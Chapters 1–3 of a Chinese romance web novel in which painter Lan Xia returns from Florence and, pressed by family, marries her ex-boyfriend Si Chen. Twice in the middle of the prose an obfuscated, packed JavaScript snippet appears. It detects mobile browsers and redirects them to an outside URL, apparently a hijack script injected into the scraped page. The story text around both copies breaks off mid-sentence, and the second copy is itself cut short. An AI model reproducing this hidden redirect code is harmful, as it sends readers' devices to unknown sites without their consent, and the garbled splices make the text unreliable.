《一盎司的蓝》 1. 黄昏雨01 蓝夏坐在网约车里,车内空调开得很低,冷气有侵入她的骨髓之势,令她鸡皮疙瘩起了一整条手臂。 今天一整天,她都把自己关在屋内画画,直到最后落笔,她发现她对画的满意程度并不与时间成正比,才转了转僵硬的脖颈,拿起手机看时间。 面容自动解锁后,停留在屏保上的消息成了可预览——【待办事项:中午十二点,和司宸吃饭,西洲堂】 蓝夏视线移至屏幕上方,发现现在已经是北京时间下午五点整。她愣了足足有一分钟,这期间一直在“算了不去了吧,他应该已经走了”和“还是去吧,到时候问起来也有监控证明自己去过”这两个决定之中反复横跳。 最后还是拿起仅剩百分之十电量的手机往外冲。 她回国一个星期,家中却依旧无法落脚,纸箱堆得到处都是。屋内光线不足,她一脚踢到纸箱的尖角处,小腿胫骨皮薄,疼得她低嚎一声,捂住小腿摸了摸,又迅速掰着腿到了门口,换上一双白色匡威就往外跑。 这才发现,天色昏黄暗沉,老旧得如同旧时光机,也像沉淀了岁月痕迹的日记扉页,仿佛就连手感都是干燥脆弱且易碎的。 蓝夏没能触摸到干燥脆响的扉页,大片的黄色云朵里,落下疯狂而急促的雨线。 她猝不及防被淋成了落汤鸡。 好在刚刚在电梯里已经叫到网约车,司机正在小区门口等她。 司机是一位沉默的中年男人,歌曲品味在蓝夏看来,是堪忧的。 她听着土味djremix版本的当下热曲,往车窗外看了一眼。 玻璃窗上是起着涟漪波澜的雨水,开进地下隧道后,她在底色是灰暗的车窗上看到自己的影子。 蓬松而些许凌乱的长卷发包着一张净白的小脸,那张脸因淋过雨和车内温度开得过低而变得更加惨白,自然浓黑的眉毛在这一片暗色里变得朦胧,似山色远黛,拢着她的心事重重。 她低下头去,发现自己出门也忘记了换衣服。此时,她还穿着晨起随意套上的白色A字罩裙,裙上色彩纷呈,克莱英蓝色占比最大,几乎将她二分之一的裙摆都染成蓝色,洗过几次后,逐渐褪色,现在已呈现淡蓝色。 脚下的白色帆布鞋也在刚刚疾奔之中溅上泥点,刚刚撞到的右腿处,已经乌青很大一片。 真是,狼狈。 该给他打一个电话过去问问的,但她早已没了他的电话,也没在前两天见面时找他问,就这么搁置下来。如果今天白跑一趟那也只能算她活该。 恰好遇上下班高峰期,蓝夏在温吞的车流里已然快要睡着。花费了足足50分钟才抵达西洲堂,而平时若是不堵车的话,只需要20分钟车程。 雨还在下,盛夏的天气黑得晚,天色更加昏黄,雨势比先前还要急促。 蓝夏把手机揣进裙子口袋,预备冲过去,只是去看一眼,如果他已经不在了,那她就在这里吃过晚饭再离开。 一路沉默的中年司机终于说话了,从脚下拿起一把滴着雨滴的透明伞。 “小妹你拿着这把伞吧。” 蓝夏推拒道:“不了,我冲过去就行,不然不知道怎么还给您。” 司机说:“不用还了,乘客丢在我车上的,这个价位的伞不会要了,你拿去用吧。” 蓝夏看了眼泛白的雨幕,终究把雨伞接过来,道了声谢谢,撑开雨伞下车。 雨很大,蓝夏只能控制她的走速,不然她会全身湿透。 可在二楼凭栏内坐着的男人看来,却因为她悠闲散漫的态度而哂笑一声。他信手端来温热的桂花茶,细细品了一口,视线再次下移,透明雨伞下,那抹蓝色晕开在了这片灰色的大地上,像是雨中盛开的碎冰蓝。 司宸放下茶盏,视线重新回到他的电脑上。 没想到他还在,蓝夏有些惊讶,同时也有些遗憾,遗憾地想,其实如果他已经走了,会更好。 服务员带着蓝夏上楼,轻叩了包厢门便离开。 正是渔舟唱晚时,楼内饭菜香四溢,早已勾得蓝夏肚子咕叫一声,她除了早上食用过燕麦麸,中途喝过水后再也没有碰过任何食物,早已饿了。 蓝夏局促站在门外,不知该如何与他打招呼。 司宸坐在木桌后,深空灰色的电脑打开着,半框眼镜映着偏蓝的屏幕光。 他穿着一身剪裁得体的黑西装,不说话的时候,看起来很严肃。从前,她的朋友青涵说过,她的二哥看起来和大哥不同,很禁欲。 那时,她没觉得司宸禁欲不禁欲,只觉得司宸总欺负她,很讨人厌。 现在,他气质又与在司崇辉老爷子的寿宴上见到的不同。 那天他穿得随性一些,看起来没有这般严肃。所以,那时候司崇辉提起两人的婚事,她也只是觉得尴尬不好回应。 可如今,她觉得有些胆寒。更多的也来自于她鸽了他近七个小时。 司宸眼神没有往她身上偏一分,狭长而凌厉的双眼只锁定电脑,看起来没有打算搭理她。 蓝夏抬起右手挥了挥,挤出一个自认为还算亲切的笑容。 “司宸哥哥,抱歉,我来晚了。” 回应她的是沉默和他修长指尖敲击键盘的声音。 蓝夏站到脚尖有些发麻,不知该作何反应。手机嗡了一声,她抬起来看,只剩下百分之五的电量,刚刚打车的平台发来付费提醒。 她趁着还剩下这点电,赶紧把钱先付了。付完再看,只剩百分之三的电了。 她的手机还是好几年前的款,因为平时对手机需求不高,画起画来投入了,更是一天都不会看手机也不会给它充电。 她正要开口对司宸说下去扫个码借一下充电宝,便眼睁睁看着手机从百分之三的电到自动关机。 她有些懊恼,只好垂下手,任由手机成为一块无用砖。 再抬眼看向司宸时,他不知道已经看了她多久。眸光似审判,也似无声的鞭笞。 蓝夏没有为自己的行为做任何解释,只是平静回望。 司宸很快移走目光,看着窗外的雨帘,淡着声线说了句:“过来坐吧。” 蓝夏将门关上,把雨伞倚靠在角落墙边,慢慢走过来。 关上门后,屋内冷气再次包裹住她,她冷得打了个哆嗦,却一言不发。 司宸看了她半晌,脱下外套从上扔给她,语气毫不客气:“穿。” 蓝夏不想在这时候给他找不痛快,说了句“谢谢司宸哥哥”,便穿上了他的西装外套。 衣服很大,但很暖和,都是他的气息。 蓝夏感觉像是回到了还在附中读书的日子。 她有两个人人艳羡的哥哥,一个是曾经的附中学神,正在国内top1的大学念书;另一个是附中现在的学神,后来的高考省状元。 蓝夏讨厌司宸,是从那时候开始的。 她比司宸小四岁,上初一的时候,司宸已经高二。 相比起已经去读大学的温柔大哥司理,司宸显然很令人讨厌。 他对蓝夏的管教比司崇辉还要严格。过分靠近她的男生会被他揍,甚至明明知道初一放学比高三早,依旧要求她在教室写作业等他放学一起回家。 夏天天热的时候,他会脱下校服外套扔给她,让她帮忙拿着,见她穿得少明明很冷却不吭气的时候,也是这样将衣服随手一扔,丢给她一个字——“穿。” 蓝夏每天会从书包里拿出情书,转交给司宸,有时候只有一两封,有时候是一小叠。 “姐姐们要我给你的。” 司宸看到这些每次都拧着眉转身走掉。于是蓝夏便将那些情书都收好放在一个老式的木匣子里。 第二天有人来问起情书是否送出去。她不忍告知真相,只点点头说,送到了。 别人再追问,她就说自己也不知道。 雨势没有减小的趋势,噼里啪啦砸着屋檐。 蓝夏觉得应该要好好向他道个歉。 “我不是故意的,今天起床后一直在画画,没看手机,所以忘了你还在这里等……对不起……” 说到后面,她声音越来越小,逐渐没了底气。 司宸显然没消气,连这句道歉的话都没回,抬起下巴示意她看手边的菜单。 “看看吃什么,我没多少时间了。”说着,司宸抬起手腕看了眼时间。 蓝夏闭上唇,看起了菜单,然后对司宸招进来的服务生点了菜。 菜还没上桌,桌面还冷着。 司宸收了电脑,指节轻叩桌面。 “你什么时候有空,和我去把证领了。” 蓝夏“啊?”了一声,松开暖手的茶盏,低声道:“我们可不可以和爷爷再商量一下?” 司宸抬眸,“你应该去找你爸,和他好好商量,而不是和爷爷。” 一副他是被她所迫的样子。 蓝夏噤了声,如果找蓝成文有用,她也不会回国了。 但与司宸多年未见,中间也没有联络过,她和他已经失去了当年最自然的相处模式。比如从前她私下里总是对他直呼其名,从不加“哥哥”这个后缀。叫哥哥还是她刚到司家的时候,那会儿还和他不熟。 她不再说话,因为现在她和他就不怎么熟悉。 菜上得很快,桌面很快热气腾腾。 蓝夏从司老爷子那儿回来的那天晚上,刷牙时太过用力,给自己戳成了口腔溃疡,现在还没好。 州城的菜式偏辣,蓝夏每吃一口都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925254|160466||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是煎熬。 司宸看着她道:“看来已经不习惯吃中餐了。” 蓝夏茫然抬起头,解释道:“不是的,我口腔溃……” 桌面一阵巨大的嗡鸣声打断了蓝夏的话。司宸拿起手机看了眼,像是思索,还是接起电话,语气随意了些。 “你们先去,我坐晚一班的航班,嗯……好,不是,别瞎说。” 意识到真的耽误了他的时间,蓝夏低下头不再说话。 这一餐饭吃得十分静谧诡异,蓝夏没吃多少,司宸亦然。 蓝夏图方便,找服务生要了打包盒,准备把剩下的饭菜打包回去吃,一来她不爱浪费粮食,二来她画画的时候,吃的真的很随便,能果腹就好,忘记吃饭更是常事,打包餐食为她解决了吃饭这个问题。 离开时,司宸提起她的打包盒走在她前面,蓝夏拿着雨伞走在他后面。 他比以前要高很多,肩膀也宽了些。 出了饭店,夏日雨后的热潮袭来,蓝夏才想起今天吃饭,什么事都没有解决,可眼下,已经不是谈话的最好时机,因为他要走了。 蓝夏脱下西装外套递给他,“谢谢你,司宸哥哥。麻烦把我的菜给我吧。” 雨已经停了,檐下滴着一串成线的雨珠。 司宸陡然间感觉胸闷气短,没有接自己的外套,也没有把菜还给她,径直走向了一边的露天停车场。 蓝夏只好跟上去,后脖颈猝不及防被滴上两滴清凉的雨滴,她缩了缩脖子。 到车旁,蓝夏主动绕到副驾,等着他解锁。 见他拉开车门,蓝夏才跟着坐上去。车内有一股淡淡的柑橘香,是她很喜欢的味道,不由轻轻吸了一口气。 司宸却在这时开口道:“不好意思,委屈你了,我的车没我哥的宾利坐着舒服。” 闻到好闻的味道的好心情就在此刻消失。蓝夏瞥了他一眼,低声呢喃:“阴阳怪气。” 她压根没有注意到他的车是什么牌子,这就是个代步工具而已。想到他大概是记仇上次司崇辉寿宴,她提出想让司理送她回家而不是他这件事,顿时觉得他也太小气。 车内空间小,两人隔得近,司宸听见了。 他反问:“嘀嘀咕咕什么?” 蓝夏不想理他,早知道就不和他见面了。青涵早和她说过,前任就该成为过去,而无法心平气和坐下来吃饭。 但想了想,她觉得犯不着生气。谁会跟一只跳脚的猴子生气,只会想远离吧。 她把他的衣服再次递给他,“今天迟到是我不对,对不起。想了想我还是自己回去不浪费你的时间了,衣服还给你,把我打包的菜给我,领证的事还是往后延吧,我会处理好。” 说话间,她抬眼看司宸,只见他眉头紧锁,倏然间又松开,哂道:“看来你现在和你爸爸关系好了很多。” 蓝夏哑口无言。 司宸冷笑一声,把手机扔给她:“输号码。” “谁的?” “你的,我还能从你这里得到谁的联系方式?” 见蓝夏不动,他又说:“难不成之后联系我也要通过我爷爷?” 蓝夏这才打开他手机,看了眼原始壁纸的屏幕,又递回去,“不知道密码。” 他扯扯领带,“和以前一样,把你手机给我。” 蓝夏一手把手机递给他一手解开手机。 他的手机屏幕桌面简洁,没有过多花哨的app,蓝夏没有多看,点到通讯录输入自己的号码把手机还给他。 司宸掂了掂她已关机的小手机道:“这就是你自己回去?用一块砖?” 蓝夏早已忘记这一茬,国内现在出门不依靠手机是不行的。 她没回答。 司宸默默给她的手机充上电。 车子也很快启动,他不再执着嘲讽她,只是专心开他的车。 夜色不算浓,蓝夏规矩地坐在副驾上,偏头去看窗外的繁华夜景,心里琢磨着怎么能让蓝成文放弃撮合她和司宸。 “嘭——” 蓝夏回过神来,这才发现,车子不知道什么时候停了,司宸刚刚下了车,径直走向了一家药店。 爱走神的毛病好像需要改一改。 等了约摸十分钟,蓝夏看到司宸的身影从药店的厚重透明帘后出来,一只手提着印有药店logo的小袋子,里面有几个药盒重叠的身影。 门被司宸打开,闷热潮湿的空气争先恐后地涌进来。 司宸坐下关上门,将手中的袋子往她腿上一扔。 “回去记得按时吃药,少吃辣。” 闷热而潮湿的空气在车内被冷气吞噬。 蓝夏垂眸看去,袋中是治疗口腔溃疡和跌打损伤的药物。 2. 黄昏雨02 汽车停在蓝夏家楼下。 路灯洒下的光在挡风玻璃前被晕开,刺得蓝夏微微别开了眼。 “谢谢你送我回来,我刚刚听到你好像还有事要忙,就不留你了,到了给我发条消息。还有,今天对不起,我不是故意迟到的。” 蓝夏还是有些不太习惯和已经分手后的司宸单独待在一起,再加上今天的确是她的问题才让他耽误了工作,无形之中她感觉到了来自司宸的压迫感。 这种压迫感让司宸看起来像是深山里沉闷的一池死水,是深暗的幽绿,跳进去便会坠入深渊。 等了半天没有等到司宸的回应,蓝夏决定自行下车,同时也更加坚信,与前任结婚并不是一个明智的选择。 蓝夏低头解开安全带,眼睁睁看着腿上的药房袋子被身侧的大手夺走。 她疑惑转过去,司宸正在拆一盒窄长方形的药盒,一管药被他捏在手上。 “腿。” 他言简意赅,一只空手合拢示意地勾了勾。 蓝夏发现自己对他还存有信任的条件反射。 她本该问一句“为什么?”或者是“要做什么?”,但她却什么也没问,直接冲他的方向抬起了腿。 蓬松裙摆下细长的腿与司宸的距离似隔着一条幽深的沟壑,令司宸无声地短促地笑了一下。 他无可奈何地将她的腿捞到自己的腿上,捏住了她散落的鞋带,修长指尖在白色的织带之间环绕,为她打上了一个漂亮的蝴蝶结。 借着车内阅读灯的光线,蓝夏率先看到的是自己那双被溅上泥点的白色帆布鞋,已经擦到了他规整的干净西装。 下意识就要把腿往回缩,却被司宸一把拉住她纤细的脚腕。 蓝夏没再动,视线从他凸显着青筋的手背移开,她很快看到了自己腿上的那一大块绿紫相间的淤青。 意识到司宸要做什么,蓝夏趁他刺破药管开口的瞬间缩回了自己的腿。 接着她看到了意料之中皱眉的司宸。 “我等会儿就要洗澡了,洗完我自己搽,别把你衣服弄脏了。” 司宸漫不经心将药放进盒子里,“回去马上就洗澡,然后搽药,别犯拖延症了。” 蓝夏只想赶紧逃,点点头,接过他递来的袋子,头也不回地打开车门下了车,退至路边等他调转车头,见车消失在自己的视线内,才往楼内走。 家里漆黑一片,蓝夏还没习惯进门按电灯的开关,她在佛罗伦萨的家里总是只开一盏落地灯,需要她往屋内走一段距离才能触碰到开关。 她习惯性地往前走,再一次,另一只腿踢到了门口不远处的纸箱。 蓝夏低低地惨叫一声,顺势坐下,揉着这条未能幸免于难的小腿,这下两条腿都光荣负伤。 她恶狠狠地对这个纸箱道:“我今晚就要把你烧了。” 缓了好一阵,这痛感才逐渐退去,蓝夏的眼眶生理性的红了。 她返回门口把客厅的灯打开,屋内四处摞着乱七八糟的纸箱,她的大画架摆放在阳台边。 整个房间凌乱得有些规整。 蓝夏把今晚打包回来的饭菜都放进冰箱里,打开屋内的空调,瘫坐在沙发上。 出一趟门实在是太累了,不,准确地说,是和司宸相处实在太累。 她的视线落在画架的画上,思绪渐渐飘远,目光逐渐失焦。 其实她什么也没有想,就只是无意识地放空。 在她的眼里,画上的色彩逐渐杂糅,成了她调不出来的另一种梦幻色彩,画往上飘,在半空中静止又缓缓降落。 “嗡——” 手机在蓝夏的口袋里剧烈震动。 她被吓得回过神来,手探到口袋里拿手机。 是陌生的本地号码,她猜测应该是司宸。 “我到了,洗过澡了?” 司宸的声音从听筒里传出,能隐隐约约听到他那边有机场的广播声。 糟糕。 “忘了……” “嗯,我猜到了。记得洗过澡要搽药,给手机充好电。” “好。”蓝夏准备挂电话,忽而又想起餐桌上他的那通电话,他应该是需要出差。 “一路平安。” 电话那头是沉默,蓝夏等了半晌也没有等到他的回应。 “喂?那我挂了。” “蓝夏,”司宸站在机场安检口外,和身后的人换了个位置。 “怎么了?” 前面的人已经上前开始核对身份信息,司宸定定地站在黄线外,听着她那头均匀的呼吸声。 “上午十点半到下午六点十三分,我等了你这么久。” “抱歉。”蓝夏低垂下头。 前面的人信息已经核对完毕,工作人员在招手让司宸过去。司宸又和身后的人换了一个位置。 “你的确应该感到抱歉。” 他冷静的声线,下达着他的审判。 蓝夏无声捏紧了裙摆,“我要怎么做才能弥补?” “你好好想想,先挂了。” 那头的人给蓝夏出了一道难题却猝不及防就挂断了电话。 就像以前读书时,他监督自己的功课,给她讲解完数学试卷最后一道大题,再给她出了一道类似的题目,自己悠闲地去打了篮球,只剩下她在盛夏里绞尽脑汁也计算不出答案。 难搞。 蓝夏缓慢放下手机,右上角的电量依旧岌岌可危,她的手机没有快充功能,在司宸的车上也没充多少电。 她默默点进通话记录,将司宸的号码储存,备注栏里认真打下“司宸”两个字。 —— 清晨五点,蓝夏已经起床进卫生间洗漱。 回国后,她的睡眠质量一直不太好,当然也和这套许久没有人住的房子有关,她有些认床了。 镜子里她的眼下有浅淡的乌色,是这段时间以来睡眠不足的表现。 从洗手间出来,蓝夏一眼看到了沙发上的药,她昨晚坐下后就将它丢弃在一旁,压根不记得了。 所以她理所应当的没有搽药。 早餐吃黄油吐司配咖啡,她需要咖啡因来为自己提神。 吃早餐时回复消息是她一直以来的习惯。 打开手机,有两封邮件,以及微信消息需要她回复。还有一些来自各app发送来的无需回复的系统推送。 无端地想起司宸昨晚说的那句话——“我等了你这么久。” 分手时,她没有留下与司宸一星半点的聊天记录,在提出分手的下一秒就将他删除并且拉黑。 说她绝情都算是十分客气的说法,好友说她太冷血。 蓝夏从通讯录复制了他的电话号码,果然在微信搜索栏里搜索到了他的名片。 蓝夏怔然,半分钟后,她选择了退出。 分手四年,他用的竟然还是分手前夕和她配对的情侣头像。 —— 蓝夏和蓝成文打了电话,确认他在明天晚上八点后有空,于是定了个明天下午六点的闹钟。 蓝成文约她在酒店的餐厅见面,说请她吃饭。 蓝夏赶到时并没有在包厢里见到蓝成文,稍等了一会儿蓝 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“搞笑,什么时候轮得到你想不想了?”蓝成文又闲适地倒了一杯茶,袅袅白雾在空气中绘形。 抠手背的动作没有停,蓝夏咬住下唇,有些喘不过气来,她有点无法集中注意力了。 蓝成文今天心情不错,刚谈成一笔大生意,至少此刻,他不想计较女儿无端由来的脾气。 他颇有闲情地和她分析了一下这场婚姻的利弊。 可蓝夏一个字也听不进去。 好痒。想离开。 女儿紧锁着眉,看起来并没有把他的话听进去多少。 蓝成文并不算有耐心,更没有耐心来哄这个和自己十分疏离的女儿。 “既然如此,那你就自己去和司爷爷说吧。” 蓝夏:“什么?” “你要是不想要,就只能你自己去和司爷爷开口。我可拉不下这个面子去和他老人家说,他那么疼你,你说的话他肯定听得进去。” 蓝夏头微微低垂,她开不了这个口,他对自己那么好,是没有血缘关系的,对自己最好的长辈,也是自己的家人。 当初他在餐桌上说起她与司宸的时候,笑得那么开心,她没法去和他开这个口。 蓝成文站起来,“我还有事,你自己吃,今天爸爸请客。” 蓝成文离开后,她的痒意有所缓解。 服务生推门而入,“女士,可以点菜了吗?” 蓝夏害怕下一次推门进来的会是蓝成文,拿起一旁的包,留下一句“抱歉”,匆忙离开。 夜景繁华,夏夜的味道包裹着旧日的回忆,一同向她袭来。 这座养育她成人的城市,这座承载着她所有快乐回忆的城市,在短短的一个星期里频繁的用琐事将她压倒,似乎要她交出曾经快乐的利息。 不知不觉中,蓝夏走到了附近的公园。 她寻了条长椅坐下,看着不远处路灯散开的光晕刺穿飞蛾的身体。 好一会儿,她像是下定了某种决心,打开手机,拨通一串最新储存的号码。 嘟声响到最后一声才被接通。 电话那头终于传来了司宸带着熏意的声音。 “蓝夏。” “我想到弥补的办法了。司宸,我们结婚吧。” 虫鸣在寂静的夜里歌唱,汽车的引擎声贯穿蓝夏的耳膜。 蓝夏终于等到了司宸的回答。 他似乎淡哂了一声,“蓝夏,你觉得我是你的狗吗?” 3. 黄昏雨03 “你把我当成你召之即来,挥之即去的狗吗?” “我没有这么想,抱歉,打扰你了。” 电话被蓝夏迅速挂断,她完全没有办法忍受这样尖酸刻薄的司宸。 明明从前在一起时,他对自己的照顾并不比司理哥哥少。 蓝夏揉了揉自己的太阳穴,叹了口气,起身回家。 要是事情最后还是解决不掉,她想,她还是回弗洛伦萨算了,把州城的一切都抛在脑后,干脆谁也不要理。 坐在网约车里回家的路上,蓝夏接到了司宸的回电。 蓝夏任由手机在腿上震动,原本不想接这个电话,但司宸两个字映在她的瞳孔里,久久不灭。 她还是接起了这个电话,但是不想做那个先和他说话的人。 于是,有很长一段时间,电话的听筒里就只有微微电流声。 “蓝夏,”他轻轻叹息,语气无可奈何,“我还没说完,你挂什么电话。” “反正也是阴阳怪气地骂我,有什么好说的。” 真是奇怪,见不到面打电话的时候,蓝夏反而觉得和他之间的隔阂消失了。 尤其是现在她有些烦闷的时候,她说出的话竟有些孩子气。 “刚刚你说的,结婚,是认真的吗?” 司宸沉默了一会儿才开口问。 蓝夏咬着下唇看向窗外,正巧路过江边,不知哪位少爷在追人,烟花绽放,绚丽色彩映在了她的脸上,爱心烟花在蓝夏的瞳孔里闪动着流光溢彩。 她踟躇了一下,不知道该不该说出实情。 她不是一个爱吃回头草的人。在她看来,无论是亲情、友情、爱情,只要曾经有一方放弃过,那就证明压根不会有未来。 关于与司宸结婚,在她看来完全是无奈之举。是她没办法摆脱蓝成文的不得已,也是她不忍心拒绝真心疼爱自己的司爷爷。 但她的提议不会有假。 她思考的时间长了一些,原本想给予肯定的答复,但开口不知怎的,却是——“不认真又怎样?” 司宸笑道:“不怎么样,无非就是我再被你抛弃一次。多余问你这一句,你当我没问过。” 电话挂断,烟花在倒退,汽车驶向前方,夜空蓝了又红,红了又绿,前方路口拐弯,回到了寻常的夏夜。 一周时间很快过去。 蓝夏个人画展的画作还是没有画出能令她满意的中心画作。 如今她是国际上炙手可热的新生代油画家,画展的筹备早就开始了,只是眼下回了国,烦心事多了起来,她怎么都静不下心。 这几天她几乎没有怎么下过楼,饿了点外卖,亦或是网购了些速食食品,生活作息日夜颠倒,整日整夜把自己困在房里画画。 然而画布上的阴暗色彩暴露了她近期的阴郁。 这天已经是画了一个通宵,蓝夏预备把手上这点画完就去洗澡睡觉。 画刷堪堪停下,门铃响起得突兀,吓得她松了手,刷子就这么掉在地上,黄黄绿绿的色块在灰色的大理石地板上格外显眼。 她捡起来放至一边的矮凳上,去开门。 可视门铃外是司宸。 蓝夏有些恍惚,那天的通话不算愉快,尽管在电话上她还能趾高气昂,但真见了他,她又没那么有胆量了。 仔细思考了一下,近期的确没有和司宸有过任何联络,她亦没有和他有过任何争吵。 这么一想,她倒没有那么心虚了,坦荡地打开了房门。 司宸听见房门响动,抬起眼来,一周没见过的妹妹,面颊微微消瘦,眼下乌青没有比上次更少,头发被她用画笔盘起来,碎发如抽丝一般落在肩头和脖子上,有种瘦弱而病态的冶艳。 她只穿一条杏色吊带长裙,长裙的裙摆被颜料的色彩在不经意间点缀。大片修长美丽的肩颈线露出,胸前薄薄的面料也遮挡不住她裙下樱桃的凸起。 倒是符合她随性的人生。 随性得能把他当成垃圾一般随手扔掉。 “司宸哥哥,有什么事吗?” 蓝夏一只手还抓着门把手,大眼睛有些疲倦地看着他,眼睛因为酸涩覆上一层水光,小心翼翼询问他,看起来可怜极了。 司宸也在无形之中放轻了自己的声音。 “今天有别的安排吗?” “没有。” “那好,现在八点,你收拾一下,九点我们出发去领证。” 蓝夏:? 蓝夏一时间语塞,司宸做事的确雷厉风行,可这是结婚啊,也这么雷厉风行吗? 见她半天没有动弹,像个木头人一样僵在原地,司宸提醒道:“七月十号晚上十点零三分,你给我打过一个电话。你在电话里说,要和我结婚,我想你大概是忘记了。” “我……没忘。”只是谁知道你愿不愿意,那天在电话里阴阳怪气的,还以为你把我当成了永远的仇人。 所以,现在她该做什么? 蓝夏站在门口看着司宸,忽然反应过来,把门打开了一些,邀请司宸进门。 “我那个,我收拾还要点时间,要不你进来等吧。”蓝夏一边说着一边往旁边让,给司宸腾出位置来。 见司宸进来了,她关上门,快走几步到他前面。 “呃家里很乱,我好几天没有做卫生,你就不用换鞋了,你随便坐坐,我先……啊!” 蓝夏的脚再一次踢到了那个纸箱。 短短半个月,她已经踢到那个纸箱三次,左腿一次,右腿两次。 她的小腿已经是暴风雪中心地带。 司宸终于知道她的脚是怎么伤的,在家也不穿鞋,光着脚走在地板上,估计纸箱的位置就没有变过。 他半蹲下来,撩起一点她的裙摆,看到了两条腿上形状不规则的两块乌色。 “蓝夏。” 他生气了。 蓝夏听得出来他的语气,严肃的时候叫她的名字是什么音调,她刻入骨髓。 “撞了两次也不挪地方,药也不搽。你还真是忍辱负重,卧薪尝胆。” 蓝夏:…… 疼痛被她生生忍耐住,她忍着剧痛去一旁给他拿了一瓶纯净水。 “那我负荆请罪一下,请你喝水,我去洗澡了……” “你的荆呢?” 司宸接过她递来的水瓶,走了几步把水瓶放在餐桌上,另一只拿着西装外套的手终于露出来,他提了早餐。 司宸冷冷道:“先把早餐吃了再去洗。” “哦。” 蓝夏赶紧坐下,打开他买来的中式早餐。 有包子烧麦和豆浆,都是她爱吃的。 蓝夏生怕他又阴阳怪气说些什么,赶紧先塞了一个包子到他嘴里。 “谢谢哥哥的早餐,你先吃。” 接着她给自己塞了一个烧麦。 司宸没有说话,拿下包子,慢条斯理吃了起来。 和司宸比起来,蓝夏就显得要狼狈一些。 首先是司宸已经是出门的装扮,他一身整齐西装,脸上容光焕发,一看就知道昨晚睡了一个好觉,而蓝夏就连头发也凌乱,更别提着装。 她吃得很快,一是真的饿了,二是她有点害怕司宸忽然又讨伐她。 最后一口早餐咽下,她立刻起身回了卧室。 蓝夏在洗澡,司宸吃过早餐开始参观她的家。这是蓝成文很久前买给她的房子,供她从国外回来时小住。 但她之前回来也很少来这里住,房子还停留在房地产商附赠的简易装修上。 这里色调灰暗,这里冰冰冷冷,这里是全国统一装修模式的家。 客厅里四处堆摞着纸箱,阳台边的画架上是她还没画完的画。 司宸垂眸看着那副画,总体色调暗沉,天空灰暗似浓烟滚滚,湖面碧波荡漾,游鱼欢畅,水生植物纷杂,融汇在一起,色彩层次丰富。 司宸凑近了些,看到了滚滚黑色浓烟的来源,画面小镇的某一处烈火烧得正旺,黑烟似夺人命的死神,张牙舞爪,阴暗可怖。 司宸看着那幅画,呼吸变得缓慢,心脏有一刻是被紧紧握着的。 他出了许久神,蓝夏也从卧室走了出来。 她已经打理好了自己,画了个气色好的淡妆,头发洗过后梳顺了,柔软垂下,落到她的腰间,她穿一条黑色的白领裙子,斜挎着一个简约的黑色菱格包,看起来很清丽鲜活。 只是裙子长度只到膝盖,两条腿上的乌青实在显眼得厉害。 离九点还差两分钟。 司宸敛目,走至她身边。 “收拾好了那就走吧。” “嗯嗯。” 蓝夏应着,把空调关掉,在门口换上自己的鞋,刚要走,司宸拉住她的手腕。 “你等等。” 蓝夏不明就里,看着他往屋内走,再回来的时候手上拿着一管药。 还是他买的那管。 他蹲下,指腹上沾上淡黄色的药膏,动作轻柔涂抹在她的乌青处。 这药终于还是他给自己涂上了。 蓝夏抿唇不说话,低头看黑黑脑袋的他,宽阔的肩膀似乎比从前还要可靠。 “疼吗?”他抬起头问,“我这个力道行吗?” “谢谢哥哥,挺好的,我不疼。” 她的忍耐力比一般人要强,司宸默默放轻了动作。 擦好药再出门已经是十分钟后。 开车到民政局,排队办结婚证,整个过程并不算慢。或许是近年来持续下降的结婚率,工作人员的办事效率很高。 钢印戳下的那一刻,蓝夏想,原来这就是结婚吗?只是两个红色的本本,一个钢印,他们就是合法夫妻了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925256|160466||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >可她没有任何实感,甚至刚刚来民政局的这一路也会对司宸感到陌生。 她仰头看去,司宸也正看着工作人员的动作,面无表情。 司宸应该也对结婚这件事无感吧…… 办好证从民政局出来,司宸把结婚证交给蓝夏保管,说太阳很晒,他去把车开过来。 蓝夏点头老实接过他的那一本。 她站在办事大厅的门外廊檐下,看着晴朗碧空,云朵像一团大大的棉花糖,似乎也将她的心充盈起来。 她还是没有感觉出来结婚有什么不一样。 蓝夏低头又看了眼红色的本子,打开手机的照相机,拍下这两个本子,把照片发给青涵:我结婚了。 青涵秒回:!!? 青涵震惊:不儿,和谁啊? 青涵震怒:我去蓝夏你一点不厚道!都领证了才告诉我!还是不是朋友了! 蓝夏发去一个抱歉的表情包,接着回复:和司宸。 青涵:?你俩还真是,分了手还能结婚,真是奇观! 蓝夏:过两天我进京请你吃饭给你赔罪。 聊到这里,司宸的车开到她的面前。蓝夏往下走了三步阶梯,打开车门坐上去。 她系好安全带,打开结婚证确认了一下,把他的那本递过去:“你的。” “嗯。”司宸接过后随意往储物盒里一丢,手又回到了方向盘上。 蓝夏看着他的动作,没敢说话,默默把她的这一本放进她的包里。 “先带你去吃午饭,然后回你家陪你收拾东西,搬去我那里,晚上去见爷爷,一起吃晚饭,有意见吗?” 蓝夏赶紧摇头,“没有。” 不咸不淡吃完饭,司宸去蓝夏家里帮着她收拾东西。 她的东西不多,大概是知道自己不会在这个房子里久住,所以很多箱子都没有拆开,只拿了些日用品出来,所以收拾起来并不算太麻烦。 司宸多跑了两趟,最后蓝夏关水关电和司宸坐了一趟电梯下楼。 电梯里也无言,蓝夏看到司宸的额前出了些汗,想像从前一样抬手把他的汗擦掉,想想他今天生硬的语气,便没有动。 司宸打开车的后备箱,扒拉了一下纸箱,将蓝夏的行李箱放上去。 